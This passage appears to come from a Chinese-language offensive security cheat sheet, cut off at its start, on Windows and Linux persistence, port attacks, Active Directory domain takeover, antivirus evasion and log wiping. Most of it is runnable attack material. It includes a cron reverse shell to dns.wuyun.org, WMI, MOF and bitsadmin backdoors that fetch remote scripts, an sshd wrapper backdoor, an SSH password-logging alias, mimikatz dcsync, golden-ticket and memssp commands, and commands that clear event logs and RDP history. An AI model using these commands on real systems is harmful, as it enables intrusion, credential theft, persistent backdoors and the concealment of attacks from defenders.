下 openssh 后门 重新编译运行的sshd服务,用于记录用户的登陆密码。 2、常用的存储Payload位置 WMI :存储: $StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null) $StaticClass.Name = 'Win32_Command' $StaticClass.Put() $StaticClass.Properties.Add('Command' , $Payload) $StaticClass.Put() 读取: $Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value 包含数字签名的PE文件利用文件hash的算法缺陷,向PE文件中隐藏Payload,同时不影响该PE文件的数字签名 特殊ADS … type putty.exe > ...:putty.exe wmic process call create c:\test\ads\...:putty.exe 特殊COM文件 type putty.exe > \\.\C:\test\ads\COM1:putty.exe wmic process call create \\.\C:\test\ads\COM1:putty.exe 磁盘根目录 type putty.exe >C:\:putty.exe wmic process call create C:\:putty.exe 3、Run/RunOnce Keys 用户级 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce 管理员 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run 4、BootExecute Key 由于smss.exe在Windows子系统加载之前启动,因此会调用配置子系统来加载当前的配置单元,具体注册表键值为: HKLM\SYSTEM\CurrentControlSet\Control\hivelist HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Session Manager 5、Userinit Key WinLogon进程加载的login scripts,具体键值: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 6、Startup Keys HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders 7、Services 创建服务 sc create [ServerName] binPath= BinaryPathName 8、Browser Helper Objects 本质上是Internet Explorer启动时加载的DLL模块 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects 9、AppInit_DLLs 加载User32.dll会加载的DLL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs 10、文件关联 HKEY_LOCAL_MACHINE\Software\Classes HKEY_CLASSES_ROOT 11、bitsadmin bitsadmin /create backdoor bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://host.com/calc.sct scrobj.dll" bitsadmin /Resume backdoor 12、mof pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP1"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 1"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consP1"; ScriptingEngine = "JScript"; ScriptText = "GetObject(\"script:https://host.com/test\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; }; 管理员执行: mofcomp test.mof 13、wmi 每隔60秒执行一次notepad.exe wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows\System32\notepad.exe" wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\"" 14、Userland Persistence With Scheduled Tasks 劫持计划任务UserTask,在系统启动时加载dll function Invoke-ScheduledTaskComHandlerUserTask { [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')] Param ( [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] [String] $Command, [Switch] $Force ) $ScheduledTaskCommandPath = "HKCU:\Software\Classes\CLSID\{58fb76b9-ac85-4e55-ac04-427593b1d060}\InprocServer32" if ($Force -or ((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){ New-Item $ScheduledTaskCommandPath -Force | New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null }else{ Write-Verbose "Key already exists, consider using -Force" exit } if (Test-Path $ScheduledTaskCommandPath) { Write-Verbose "Created registry entries to hijack the UserTask" }else{ Write-Warning "Failed to create registry key, exiting" exit } } Invoke-ScheduledTaskComHandlerUserTask -Command "C:\test\testmsg.dll" -Verbose 15、Netsh netsh add helper c:\test\netshtest.dll 后门触发:每次调用netsh dll编写:https://github.com/outflanknl/NetshHelperBeacon 16、Shim 常用方式:InjectDllRedirectShortcutRedirectEXE 17、DLL劫持 通过Rattler自动枚举进程,检测是否存在可用dll劫持利用的进程使用:Procmon半自动测试更精准,常规生成的dll会导致程序执行报错或中断,使用AheadLib配合生成dll劫持利用源码不会影响程序执行工具:https://github.com/sensepost/rattler工具:https://github.com/Yonsm/AheadLib 18、DoubleAgent 编写自定义Verifier provider DLL通过Application Verifier进行安装注入到目标进程执行payload每当目标进程启动,均会执行payload,相当于一个自启动的方式POC : https://github.com/Cybellum/DoubleAgent 19、waitfor.exe 不支持自启动,但可远程主动激活,后台进程显示为waitfor.exePOC : https://github.com/3gstudent/Waitfor-Persistence 20、AppDomainManager 针对.Net程序,通过修改AppDomainManager能够劫持.Net程序的启动过程。如果劫持了系统常见.Net程序如powershell.exe的启动过程,向其添加payload,就能实现一种被动的后门触发机制 21、Office 劫持Office软件的特定功能:通过dll劫持,在Office软件执行特定功能时触发后门利用VSTO实现的office后门Office加载项 Word WLL Excel XLL Excel VBA add-ins PowerPoint VBA add-ins 参考1 :https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/参考2 :https://3gstudent.github.io/3gstudent.github.io/Office-Persistence-on-x64-operating-system/ 22、CLR 无需管理员权限的后门,并能够劫持所有.Net程序POC:https://github.com/3gstudent/CLR-Injection 23、msdtc 利用MSDTC服务加载dll,实现自启动,并绕过Autoruns对启动项的检测利用:向 %windir%\system32\目录添加dll并重命名为oci.dll 24、Hijack CAccPropServicesClass and MMDeviceEnumerato 利用COM组件,不需要重启系统,不需要管理员权限通过修改注册表实现POC:https://github.com/3gstudent/COM-Object-hijacking 25、Hijack explorer.exe COM组件劫持,不需要重启系统,不需要管理员权限通过修改注册表实现 HKCU\Software\Classes\CLSID{42aedc87-2188-41fd-b9a3-0c966feabec1} HKCU\Software\Classes\CLSID{fbeb8a05-beee-4442-804e-409d6c4515e9} HKCU\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7} HKCU\Software\Classes\Wow6432Node\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E} 26、Windows FAX DLL Injection 通过DLL劫持,劫持Explorer.exe对fxsst.dll的加载Explorer.exe在启动时会加载c:\Windows\System32\fxsst.dll(服务默认开启,用于传真服务)将payload.dll保存在c:\Windows\fxsst.dll,能够实现dll劫持,劫持Explorer.exe对fxsst.dll的加载 27、特殊注册表键值 在注册表启动项创建特殊名称的注册表键值,用户正常情况下无法读取(使用Win32 API),但系统能够执行(使用Native API)。《渗透技巧——"隐藏"注册表的创建》《渗透技巧——"隐藏"注册表的更多测试》 28、快捷方式后门 替换我的电脑快捷方式启动参数POC : https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Backdoor/LNK_backdoor.ps1 29、Logon Scripts New-ItemProperty "HKCU:\Environment\" UserInitMprLogonScript -value "c:\test\11.bat" -propertyType string | Out-Null 30、Password Filter DLL 31、利用BHO实现IE浏览器劫持 Linux crontab 每60分钟反弹一次shell给dns.wuyun.org的53端口 #!bash (crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab - 硬链接sshd #!bash ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333; 链接:ssh [email protected] -p 2333 SSH Server wrapper #!bash cd /usr/sbin mv sshd ../bin echo '#!/usr/bin/perl' >sshd echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd chmod u+x sshd //不用重启也行 /etc/init.d/sshd restart socat STDIO TCP4:192.168.206.142:22,sourceport=13377 SSH keylogger vim当前用户下的.bashrc文件,末尾添加 #!bash alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh' source .bashrc Cymothoa_进程注入backdoor ./cymothoa -p 2270 -s 1 -y 7777 nc -vv ip 7777 rootkit openssh_rootkitKbeast_rootkit Mafix + Suterusu rootkit Tools Vegile backdoor WEB后门 PHP Meterpreter后门 Aspx Meterpreter后门 weevely webacoo .... 横向渗透 端口渗透 端口扫描 1.端口的指纹信息(版本信息) 2.端口所对应运行的服务 3.常见的默认端口号 4.尝试弱口令 端口爆破 hydra 端口弱口令 NTScan Hscan 自写脚本 端口溢出 smb ms08067 ms17010 ms11058 ... apacheftp ... 常见的默认端口 1、web类(web漏洞/敏感目录) 第三方通用组件漏洞: struts thinkphp jboss ganglia zabbix ... 80 web 80-89 web 8000-9090 web 2、数据库类(扫描弱口令) 1433 MSSQL 1521 Oracle 3306 MySQL 5432 PostgreSQL 50000 DB2 3、特殊服务类(未授权/命令执行类/漏洞) 443 SSL心脏滴血 445 ms08067/ms11058/ms17010等 873 Rsync未授权 5984 CouchDB http://xxx:5984/_utils/ 6379 redis未授权 7001,7002 WebLogic默认弱口令,反序列 9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 11211 memcache未授权访问 27017,27018 Mongodb未授权访问 50000 SAP命令执行 50070,50030 hadoop默认端口未授权访问 4、常用端口类(扫描弱口令/端口爆破) 21 ftp 22 SSH 23 Telnet 445 SMB弱口令扫描 2601,2604 zebra路由,默认密码zebra 3389 远程桌面 5、端口合计所对应的服务 21 ftp 22 SSH 23 Telnet 25 SMTP 53 DNS 69 TFTP 80 web 80-89 web 110 POP3 135 RPC 139 NETBIOS 143 IMAP 161 SNMP 389 LDAP 443 SSL心脏滴血以及一些web漏洞测试 445 SMB 512,513,514 Rexec 873 Rsync未授权 1025,111 NFS 1080 socks 1158 ORACLE EMCTL2601,2604 zebra路由,默认密码zebra案 1433 MSSQL (暴力破解) 1521 Oracle:(iSqlPlus Port:5560,7778) 2082/2083 cpanel主机管理系统登陆 (国外用较多) 2222 DA虚拟主机管理系统登陆 (国外用较多) 2601,2604 zebra路由,默认密码zebra 3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了 3306 MySQL (暴力破解) 3312/3311 kangle主机管理系统登陆 3389 远程桌面 3690 svn 4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网 4848 GlassFish web中间件 弱口令:admin/adminadmin 5432 PostgreSQL 5900 vnc 5984 CouchDB http://xxx:5984/_utils/ 6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网 6379 redis未授权 7001,7002 WebLogic默认弱口令,反序列 7778 Kloxo主机控制面板登录 8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上 8080 tomcat/WDCd/ 主机管理系统,默认弱口令 8080,8089,9090 JBOSS 8081 Symantec AV/Filter for MSE 8083 Vestacp主机管理系统 (国外用较多) 8649 ganglia 8888 amh/LuManager 主机管理系统默认端口 9000 fcgi fcig php执行 9043 websphere[web中间件] 弱口令: admin/admin websphere/ websphere ststem/manager 9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 10000 Virtualmin/Webmin 服务器虚拟主机管理系统 11211 memcache未授权访问 27017,27018 Mongodb未授权访问 28017 mongodb统计页面 50000 SAP命令执行 50060 hadoop 50070,50030 hadoop默认端口未授权访问 域渗透 信息搜集 powerview.ps1 Get-NetDomain - gets the name of the current user's domain Get-NetForest - gets the forest associated with the current user's domain Get-NetForestDomains - gets all domains for the current forest Get-NetDomainControllers - gets the domain controllers for the current computer's domain Get-NetCurrentUser - gets the current [domain\]username Get-NetUser - returns all user objects, or the user specified (wildcard specifiable) Get-NetUserSPNs - gets all user ServicePrincipalNames Get-NetOUs - gets data for domain organization units Get-NetGUIDOUs - finds domain OUs linked to a specific GUID Invoke-NetUserAdd - adds a local or domain user Get-NetGroups - gets a list of all current groups in the domain Get-NetGroup - gets data for each user in a specified domain group Get-NetLocalGroups - gets a list of localgroups on a remote host or hosts Get-NetLocalGroup - gets the members of a localgroup on a remote host or hosts Get-NetLocalServices - gets a list of running services/paths on a remote host or hosts Invoke-NetGroupUserAdd - adds a user to a specified local or domain group Get-NetComputers - gets a list of all current servers in the domain Get-NetFileServers - get a list of file servers used by current domain users Get-NetShare - gets share information for a specified server Get-NetLoggedon - gets users actively logged onto a specified server Get-NetSessions - gets active sessions on a specified server Get-NetFileSessions - returned combined Get-NetSessions and Get-NetFiles Get-NetConnections - gets active connections to a specific server resource (share) Get-NetFiles - gets open files on a server Get-NetProcesses - gets the remote processes and owners on a remote server BloodHound获取域内DNS信息 adidnsdump 域渗透——DNS记录的获取 获取域控的方法 SYSVOL SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。 Sysvol文件夹是安装AD时创建的,它用来存放GPO、Script等信息。同时,存放在Sysvol文件夹中的信息,会复制到域中所有DC上。 相关阅读: 寻找SYSVOL里的密码和攻击GPP(组策略偏好) Windows Server 2008 R2之四管理Sysvol文件夹 SYSVOL中查找密码并利用组策略首选项 利用SYSVOL还原组策略中保存的密码 MS14-068 Kerberos python ms14-068.py -u 域用户@域名 -p 密码 -s 用户SID -d 域主机 利用mimikatz将工具得到的[email protected]写入内存,创建缓存证书: mimikatz.exe "kerberos::ptc c:[email protected]" exit net use k: \pentest.comc$ 相关阅读 : Kerberos的工具包PyKEK 深入解读MS14-068漏洞 Kerberos的安全漏洞 SPN扫描 Kerberoast可以作为一个有效的方法从Active Directory中以普通用户的身份提取服务帐户凭据,无需向目标系统发送任何数据包。SPN是服务在使用Kerberos身份验证的网络上的唯一标识符。它由服务类,主机名和端口组成。在使用Kerberos身份验证的网络中,必须在内置计算机帐户(如NetworkService或LocalSystem)或用户帐户下为服务器注册SPN。对于内部帐户,SPN将自动进行注册。但是,如果在域用户帐户下运行服务,则必须为要使用的帐户的手动注册SPN。SPN扫描的主要好处是,SPN扫描不需要连接到网络上的每个IP来检查服务端口,SPN通过LDAP查询向域控执行服务发现,SPN查询是Kerberos的票据行为一部分,因此比较难检测SPN扫描。相关阅读 : 非扫描式的SQL Server发现 SPN扫描 扫描SQLServer的脚本 Kerberos的黄金门票 在域上抓取的哈希 lsadump::dcsync /domain:pentest.com /user:krbtgt kerberos::purge kerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt:hash值 /ticket:adinistrator.kiribi kerberos::ptt administrator.kiribi kerberos::tgt net use k: \pnet use k: \pentest.comc$ 相关阅读 : https://adsecurity.org/?p=1640 域服务账号破解实践 Kerberos的认证原理 深刻理解windows安全认证机制ntlm&Kerberos Kerberos的银票务 黄金票据和白银票据的一些区别:Golden Ticket:伪造TGT,可以获取任何Kerberos服务权限银票:伪造TGS,只能访问指定的服务加密方式不同:Golden Ticket由krbtgt的hash加密Silver Ticket由服务账号(通常为计算机账户)Hash加密认证流程不同:金票在使用的过程需要同域控通信银票在使用的过程不需要同域控通信相关阅读 : 攻击者如何使用Kerberos的银票来利用系统 域渗透——Pass The Ticket 域服务账号破解 与上面SPN扫描类似的原理https://github.com/nidem/kerberoast获取所有用作SPN的帐户 setspn -T PENTEST.com -Q */* 从Mimikatz的RAM中提取获得的门票 kerberos::list /export 用rgsrepcrack破解 tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi 凭证盗窃 从搜集的密码里面找管理员的密码 NTLM relay One API call away from Domain Admin privexchange Exchange2domain Kerberos委派 Wagging-the-Dog.html s4u2pwnage Attacking Kerberos Delegation 用打印服务获取域控 Computer Takeover Combining NTLM Relaying and Kerberos delegation CVE-2019-1040 地址解析协议 实在搞不定再搞ARP 获取AD哈希 使用VSS卷影副本 Ntdsutil中获取NTDS.DIT文件 PowerShell中提取NTDS.DIT -->Invoke-NinaCopy 使用Mimikatz提取 mimikatz lsadump::lsa /inject exit 使用PowerShell Mimikatz 使用Mimikatz的DCSync 远程转储Active Directory凭证提取 KRBTGT用户帐户的密码数据: Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt"exit 管理员用户帐户提取密码数据: Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit NTDS.dit中提取哈希 使用esedbexport恢复以后使用ntdsxtract提取 AD持久化 活动目录持久性技巧 https://adsecurity.org/?p=1929 DS恢复模式密码维护 DSRM密码同步 Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步,Windows Server 2003不支持DSRM密码同步。KB961320:https://support.microsoft.com/en-us/help/961320/a-feature-is-available-for-windows-server-2008-that-lets-you-synchroni,可参考:巧用DSRM密码同步将域控权限持久化 DCshadow Security Support Provider 简单的理解为SSP就是一个DLL,用来实现身份认证 privilege::debug misc::memssp 这样就不需要重启c:/windows/system32可看到新生成的文件kiwissp.log SID History SID历史记录允许另一个帐户的访问被有效地克隆到另一个帐户 mimikatz "privilege::debug" "misc::addsid bobafett ADSAdministrator" AdminSDHolder&SDProp 利用AdminSDHolder&SDProp(重新)获取域管理权限 组策略 https://adsecurity.org/?p=2716 策略对象在持久化及横向渗透中的应用 Hook PasswordChangeNotify http://wooyun.jozxing.cc/static/drops/tips-13079.html Kerberoasting后门 域渗透-Kerberoasting AdminSDHolder Backdooring AdminSDHolder for Persistence Delegation Unconstrained Domain Persistence TIPS 《域渗透——Dump Clear-Text Password after KB2871997 installed》 《域渗透——Hook PasswordChangeNotify》 可通过Hook PasswordChangeNotify实时记录域控管理员的新密码 《域渗透——Local Administrator Password Solution》 域渗透时要记得留意域内主机的本地管理员账号 《域渗透——利用SYSVOL还原组策略中保存的密码》 相关工具 BloodHound CrackMapExec DeathStar 利用过程:http://www.freebuf.com/sectool/160884.html 在远程系统上执行程序 At Psexec WMIC Wmiexec Smbexec Powershell remoting DCOM IOT相关 1、路由器 routersploit 2、打印机 PRET 3、IOT exp https://www.exploitee.rs/ 4、相关 OWASP-Nettackerisf icsmaster 中间人 Cain Ettercap Responder MITMf 3r/MITMf) 规避杀软及检测 Bypass Applocker UltimateAppLockerByPassList https://lolbas-project.github.io/ bypassAV Empire PEspin Shellter Ebowla Veil PowerShell Python 代码注入技术Process Doppelgänging ... 痕迹清理 Windows日志清除 获取日志分类列表: wevtutil el >1.txt 获取单个日志类别的统计信息:eg. wevtutil gli "windows powershell" 回显: creationTime: 2016-11-28T06:01:37.986Z lastAccessTime: 2016-11-28T06:01:37.986Z lastWriteTime: 2017-08-08T08:01:20.979Z fileSize: 1118208 attributes: 32 numberOfLogRecords: 1228 oldestRecordNumber: 1 查看指定日志的具体内容: wevtutil qe /f:text "windows powershell" 删除单个日志类别的所有信息: wevtutil cl "windows powershell" 破坏Windows日志记录功能 利用工具 Invoke-Phant0m Windwos-EventLog-Bypass msf run clearlogs clearev 3389登陆记录清除 @echo off @reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f @del "%USERPROFILE%\My Documents\Default.rdp" /a @exit